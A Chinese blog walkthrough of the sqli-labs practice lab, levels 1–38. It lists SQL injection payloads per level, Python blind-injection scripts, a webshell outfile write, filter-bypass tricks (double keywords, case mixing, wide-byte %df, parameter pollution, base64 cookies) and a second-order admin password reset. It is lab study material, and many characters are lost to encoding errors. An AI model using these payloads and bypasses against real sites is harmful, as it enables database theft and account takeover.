文章有点长,大家对应着目录去找自己想看的部分就好了,本来想做完全部再发的,但是篇幅太长了,就一半一半的发把,也好久没更新了,暑假回家感觉懒散了好多�?

SQL注入的简单学习:https://plumstar.cn/tags/SQL%E6%B3%A8%E5%85%A5/

SQL注入一点bypass:https://plumstar.cn/2022/04/20/lan-dui-er-mian/#toc-heading-2

我在sqllabs的数据库里面加了一个flag表,里面有需要我们获取的flag;我就简单写写payload,因为有很多相似�?

1-10

less1�?字符型,无任何过滤,后面我就只写拿flag的payload,就不一个一个写了,跟第一关都类似�?

查字段:?id=1’ order by 4 –+

判断输出位置�??id=-1’ union select 1,2,3 –+

查数据库�??id=-1’ union select 1,2,database() –+

查表�??id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() –+

查表中字段:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag' --+

查某个字段:?id=-1’ union select 1,2,group_concat(flag) from flag –+

**less2�?**数字型,只要把less1的payload的引号去掉即�?

?id=-1 union select 1,2,group_concat(flag) from flag –+

**less3�?**源代码中加了括号,我们只需要对应加括号即可

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

payload�??id=-1’) union select 1,2,group_concat(flag) from flag –+

less4�?

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

需要把id闭合掉一些多余符�?

?id=-1") union select 1,2,group_concat(flag) from flag --+

less5

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	if($row){
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';//只要mysql_fetch_array能正确返回数据,前端就回提示You are in...........,长得像盲注,但是按出题人的意思应该是让我们报错,那就报错�?
  	echo "<br>";
    	echo "</font>";
  	}
	else {	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';		
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

payload�??id=1’ and updatexml(1,concat(0x0a,(select group_concat(flag) from flag)),1) –+

less6

$id = '"'.$id.'"';//闭合"就可以了
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

payload�??id=1” and updatexml(1,concat(0x0a,(select group_concat(flag) from flag)),1) –+

less7

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";//闭合'�?)) 然后写入shell�? flag在sql-labs.sql中能找到

payload�??id=1’)) union select 1,”“,3 into outfile ‘cmd.php’ –+

**less8�?**布尔盲注,sqlmap或者py脚本或者bp都行,y1s1,脚本和sqlmap跑的确实�?

脚本就是一个很简单的拿字典去一个一个判断,就不解释了,直接跑flag表中的flag字段

# -*- coding:utf8 -*-
#脚本用py2.7去跑,没装requests包的装一下,跑是能跑出来,目测要跑半个小�?
import requests
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '.', '{', '}', '1', '2', '3', '4', '5', '6', '7', '8', '9']  # 字典
url = 'http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-8/?id=1%27'
payload = '%20and%20left((select%20flag%20from%20flag%20where%20id%20={n}),{w})=%27{d}%27%20--%20k'
str1 = 'You are in...........'
flag = ['', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '']
for i in range(1, 15):
    for j in range(1, 11):
        for l in list1:
            p = payload.format(n=i, w=j, d=flag[i-1]+l)
            u = requests.get(url+p)
            if str1 in u.content:
                flag[i-1] += l
                print u'正在猜测�?', i, u'个记录的flag的第', j, u'个字�?', flag[i-1]
print 'id    flag'
for i in range(1, 15):
    print i, '-', flag[i-1]
a = raw_input()

**less9�?**时间盲注,也是一样的拿脚本跑就行

参考我那篇写盲注的文章:https://plumstar.cn/2018/09/07/ji-yu-mysql-de-mang-zhu/

#时间设的比较久,跑的很慢,大家可以自己改进一�?
import requests
import time

url = "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0"
}
response = requests.session()

Number = 13
for i in range(0, Number):
    name = ""
    for j in range(1, 90):
        payload_len = "?id=1' and if(length(substr((select flag from flag limit {},1),1))={},sleep(5),1)--+".format(
            i, j)
        start_time = time.time()
        response = requests.get(url + payload_len, headers=headers)
        if time.time() - start_time >= 3:
            length = j
            print(length)
            break
    for m in range(1, length + 1):
        for n in range(1, 128):
            payload = "?id=1' and if(ascii(substr((select flag from flag limit {},1),{},1))={},sleep(5),1)--+".format(
                i, m, n)
            start_time = time.time()
            response = requests.get(url + payload, headers == headers)
            if time.time() - start_time >= 3:
                name += chr(n)
                break
    print("第{}条数�?".format(i + 1), name)

**less10�?**跟less9一样,只不过payload闭合改改,例如:

?id=1 and if(substr(database(),1,1)='s',sleep(3),1) --+

11-20

**less11�?**随便输入password和username,bp抓包可以知道是post传参以及登录格式

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

uname=admin’ order by 2 –+&passwd= 字段数为2个字�?

uname=-1’ union select 1,database() –+&passwd= 查库�?

**payload�?**uname=-1 ‘ union select 1,group_concat(flag) from flag –+&passwd=

**less12�?**payload跟less11一样,但是需要重新构造闭合,去源码看一下就ok

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

**payload�?**uname=-1”) union select 1,group_concat(flag) from flag –+&passwd=

**less13�?**万能密码登录发现不回显,构造报错发现有报错信息,用报错即可

@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

**payload�?**uname=admin’) and updatexml(1,concat(0x0a,(select group_concat(flag) from flag)),1) –+&passwd=

**less14�?**改一下闭合就�?

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

**payload�?**uname=admin” and updatexml(1,concat(0x0a,(select group_concat(flag) from flag)),1) –+&passwd=

**less15�?**时间盲注,错误和正确都没回显,改改less9的payload就行

**payload�?**uname=admin’ and if(substr(group_concat(flag) from flag,1,1)=’s’,sleep(3),1) –+&passwd=

**less16�?**同样是盲注,修改less9的payload

fwrite($fp,'User Name:'.$uname."\n");//需要将这个换行闭合�?
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

payload�?uname=admin\") and if(substr(group_concat(flag) from flag,1,1)='s',sleep(3),1) --+&passwd=

**less17�?**加了点过滤,过滤的是uname的部分,passwd并未过滤,审代码就能审出来,就不啰嗦了,往后看,直接找能注入的地方

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";//对于update,可以使用报错注入,用弱密码然后报错即可

前面我也写过update注入:https://plumstar.cn/2018/09/07/dui-ji-yu-mysql-de-zhu-ru-de-bu-chong/#toc-heading-13

**payload�?**uname=admin&passwd=admin’ and updatexml(1,concat(0x0a,select group_concat(flag) from flag),1); –+

**less18�?**之前写过:https://plumstar.cn/2022/06/14/sqli-labs-18/

**less19�?**�?18关类似,只是注入的地方是Referer

Referer: 1',1,updatexml(1,concat(0x0a,(select group_concat(flag) from flag)),1));-- '

**less20�?**找到这么一句代码,将uname设为cookie并重定向至首�?

setcookie('uname', $cookee, time()+3600);	
header ('Location: index.php');

可以尝试登录你会发现一直显示I LOVE YOU COOKIES

y1s1 这一关我差点给我搞懵了,有点乱七八糟�?

需要进行两次数据包的操作,首先抓取登录数据包,将cookie修改(如果数据包中没有cookie,就需要自己去添加),这里源代码也可以看到需要去声明uname=admin,不知道作者原意就是这样还是写错了,我以为admin登录就可以了,但是尝试了多次不行,就只能这么写了�?

Cookie: uname=admin

然后放包会返回一个GET的数据包,就是我们要写payload的数据包,将这个数据包cookie改成payload即可

Cookie: uname=admin'and updatexml(1,concat(0x0a,(select group_concat(flag) from flag)),1) --+

21-28a

**less21�?**看源码把cookie进行了base64编码,那么我们在cookie处的payload也base64编码即可,其他同less20

Cookie: uname=admin'and updatexml(1,concat(0x0a,(select group_concat(flag) from flag)),1) --+

cookie: dW5hbWU9YWRtaW4nYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDBhLChzZWxlY3QgZ3JvdXBfY29uY2F0KGZsYWcpIGZyb20gZmxhZykpLDEpLS0r

less22�?

$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';

可以看到进行了编码然后进行了双引号闭合,那么我们cookie的payload一样即可,双引号闭合并且base64编码,其他步骤同less20

Cookie: uname=admin" and updatexml(1,concat(0x0a,(select group_concat(flag) from flag)),1) --+

cookie: dW5hbWU9YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHgwYSwoc2VsZWN0IGdyb3VwX2NvbmNhdChmbGFnKSBmcm9tIGZsYWcpKSwxKSAtLSs=

**less23�?**看一眼源码,对id的注释符进行了过�?

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

不过对于payload影响不大,一样可以使用单引号闭合�?

payload�??id=-1' union select '1', (select group_concat(flag) from flag), '3

**less24�?**这一关不拿flag,跟密码有关�?

先看一眼login.php的代�?

$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

mysql_real_escape_string函数�?) 调用mysql库的函数 mysql_real_escape_string, 在以下字符前添加反斜�?: \x00, \n, \r, \, ', " �? \x1a. 那么我们平时使用的闭合有一些就不能使用�?

看了看其他地方的语句,也没有什么值得利用的点,最后来到修改密码的页面,可以看到username没有进行转义,但是其他字符段都进行了转义,那么username是否可以进行一些利用呢

$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

可以看到更新密码时,会有三个变量参与$pass�?$username�?$curr_pass,前两个不需要去处理,因为是修改后的密码以及用户名,那么去跟进一下$curr_pass,如下图,最终跟进到Logged-in.php这个登录页面,那么这个修改密码的SQL语句就很简单了

jZpZk9.png

思路�?1、首先是需要去注册一个用户名,才能进入修改密码页面,结合我们需要去获取admin的密码,那么我们就去注册一个能闭合修改密码语句的同户名,例如admin'#,密码随意,因为前方都有转义,所以不会对前面的功能造成影响

2、注册好后,进入密码修改页面,也就是修改密码时进入了UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'这条SQL语句,那么我们带入admin'#语句就会变成UPDATE users SET PASSWORD ='$pass' where username ='admin'#' and password='$curr_pass'由于username部分没有进行转义,那�?#自然也就作为注释符将后面的语句进行了注释,最终SQL语句变为�?

UPDATE users SET PASSWORD ='$pass' where username ='admin'

此时发现,我们并不需要原密码进行验证,并且直接修改了其他用户的密码,就可以登录管理员账户了�?

**less25�?**�?$id进行过滤,禁掉了or和and,并且不区分大小写,那么大小写绕过是不行了,双写,前面绕过我提到�?

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
	
	return $id;
}

拿flag的语句不涉及or和and,其他语句就需要双写绕过了,例如查字段order会被过滤,所以需要双写关键字,如�?

?id=1' oorrder by 3 --+
?id=1' oorrder by 4 --+
?id=-1' union select 1,2,group_concat(flag) from flag --+

**less25a�?**数字型注入,其他�?25

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

payload:?id=-1 union select 1,2,group_concat(flag) from flag --+

**less26�?**将注释符和空格也加入了过滤,关于注释符过滤之前没提到,可以用'1=1来代�?

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

也尝试了查询注入,不过payload比较难写,感兴趣的小伙伴可以自己去尝试一下,空格使用了(),and和or用||代替

payload�??id=-1'||updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1)||'1=1

**less26a�?**网页输入一测试发现报错信息不显示了,那么报错就没法用了,查询试试;过滤条件�?26一样。闭合我就不多说了,相较�?26多加个括号闭合掉

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

这一关的绕过其实蛮简单,但是就是应该是跟系统和php版本的原因,注意绕过的时候多去尝试一下,比如我这里空格用%a0就无法绕过,但是用%0b%0a就能绕过,paylaod�?

?id=100')union%0bselect%0b1,(select(group_concat(flag))from(flag)),3||('

这里的payload虽然写出来了,但是为什么需要写(select(group_concat(flag))from(flag))而不是只写(group_concat(flag))from(flag)我不理解,因为前面的联合查询注入的语句都是?id=-1 union select 1,2,group_concat(flag) from flag --+,而不是?id=-1 union select 1,2,select group_concat(flag) from flag --+希望理解的师傅看到这篇文章可以留下评论指点一�?

关于这个?id=100其实是由于在我写?id=-1时我发现这一关将-1等同�?1进行处理,那么我们就需要使用数据库中不存在的id即可

**less27�?**把union和select也加上了过滤,但是吧,大家会发现大小写过滤不干净,那么就太好办了

$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
···
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

那么最终payload为:

?id=100'%0bUnION%0bSeLECT%0b1,(SeLECT(group_concat(flag))from(flag)),3||'

**less27a�?**�?27,只不过换了一个闭合方�?

$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

只需要根据闭合方式进行闭合即可,payload�?

?id=100"%0bUnION%0bSeLECT%0b1,(SeLECT(group_concat(flag))from(flag)),3||"

**less28�?**这次是把union select合起来过�?

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
···
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}

那就前面组合起来双写绕过即可,后面就不需要双写了,因为单独select和union未过滤,payload�?

?id=100')%0aunion%0aunion%0aselectselect%0a1,(select(group_concat(flag))from(flag)),3||('

**less28a�?**这一关的意义咱说咱也没看懂,反正过滤只剩了union+select,随便绕,闭合方式也改一�?

$id= blacklist($id);
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
···
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id);				//Strip out --.
//$id= preg_replace('/[#]/',"", $id);					//Strip out #.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.
return $id;
}

最终payload为:

?id=100') union union select select 1,(select group_concat(flag) from flag),3||('

29-31

29 30 31都要去跟29关一样修改index.jsp文件,大家不要忘记了就好�?32关就不需要去改了,因为也是jsp环境,就归类到这里面

**less29�?**29�?31需要jsp环境,关于如何配置大家自行百度。真正的关卡在sqli-labs-master的tomcat-files.zip这个压缩包中。我本地搭的时候是用jspstudy,注意将jspstudy的端口改了,别跟phpstudy冲突�?

把tomcat-files.zip移到jspstudy根目录下,然后修改一下less29/index.jsp�?27行的url,改成你本地的原来php的less29的index.php即可,就像这个样�?

然后就去访问jspstudy的根目录即可,注意你访问http://127.0.0.1:8080/sqli-labs/Less-29/是会显示500错误,需要加上index.jsp?id=1才能正常显示�?

我们自己搭建的自然知道这是一个双服务器的网页,同时看一眼index.jsp文件,去发掘有用的点

String id = request.getParameter("id");

那么就很明显了,jsp/tomcat使用getgetParameter(“id”)获取到的是第一个值,php/apache使用$_GET[“id”]获取的是第二个值,那么就去简单尝试一下输入两个参数的返回�?

输入http://127.0.0.1:8080/sqli-labs/Less-29/index.jsp?id=2&id=1返回的是第二个id的值,那么就用第二个值来注入即可�?

index.jsp?id=1&id=2请求,服务器配置情况,客户端请求首先过tomcat,tomcat解析第一个参数,接下来tomcat去请求apache(php)服务器,apache解析最后一个参数,直接拿第二个参数注入即可

这时候再去看php的闭合和SQL语句,正常闭�?

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

最终payload为:

?id=2&id=100' union select 1,2,group_concat(flag) from flag --+

**less30�?**一样的,改了一下闭�?

$id = '"' .$id. '"';

// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

payload�?

?id=2&id=100" union select 1,2,group_concat(flag) from flag --+

**less31�?**接着改改闭合方式,就不赘述了�?

?id=2&id=100") union select 1,2,group_concat(flag) from flag --+

32-38

**less32�?**这一关加了点过滤,考验Bypass addslashes()�? 源码中对输入的id进行了过滤,过滤 ‘ 、\ 的函数,�? ‘ 转为 \' �? �? \ 转为 \\ ,将 “ 转为 \"�?

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    
    return $string;
}
···
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

直接输入?id=100' union select 1,2,3 --+会提示将 ‘ 转为 \' ,利用失�?

若存在宽字节注入,输�?%df%27时,经过单引号的转义变成�?%df%5c%27,之后再数据库查询语句进行GBK多字节编码,即一个中文占用两个字节,一个英文同样占用两个字节且在汉字编码范围内两个编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码�?%df%5c转换成汉�?”�?”,单引号逃逸出来,从而绕过转义造成注入漏洞�?

存在宽字节注入,那么就很简单写payload�?

?id=100%df' union select 1,2,group_concat(flag) from flag --+

**less33�?**�?32一样,payload不需要变

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}
···
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

**less34�?**34关是一个post型的,但是同样也是Bypass addslashes()�?

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
···
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

差不多的解决思路,只是需要加上passwd就行(别用hackbar进行%的post的传参,有点问题),bp抓包发包,注意空格用+代替

passwd=100&uname=-1%df'+union+select+1,group_concat(flag)+from+flag%23

**less35�?**这一关也是拿addslashes()过滤的,但是因为是字符型,不需要单引号进行闭合,所以过滤无�?

?id=100 union select 1,2,group_concat(flag) from flag --+

**less36�?**这一关是拿mysql_real_escape_string()进行过滤的,前面提到过,也是宽字节绕过即�?

注意:php>=5.3版本这个函数也会将%df'转义导致绕过失败,我这里用的是php5.2成功

function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}
···
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

payload同上,也是宽字节进行绕过

?id=100%df' union select 1,2,group_concat(flag) from flag --+

**less37�?**一个登录口,然后post传参,过滤也是用的一样的函数

$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
···
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

payload套路一样,bp抓包发包

uname=100%df'+union+select+1,group_concat(flag)+from+flag--+&passwd=1

**less38�?**单纯为了引出堆叠注入,没有其他东�?

?id=100' union select 1,2,group_concat(flag) from flag;insert into users values(18,'p1','p1') --+

就反正;后面再加一条语句,随便你增删改�?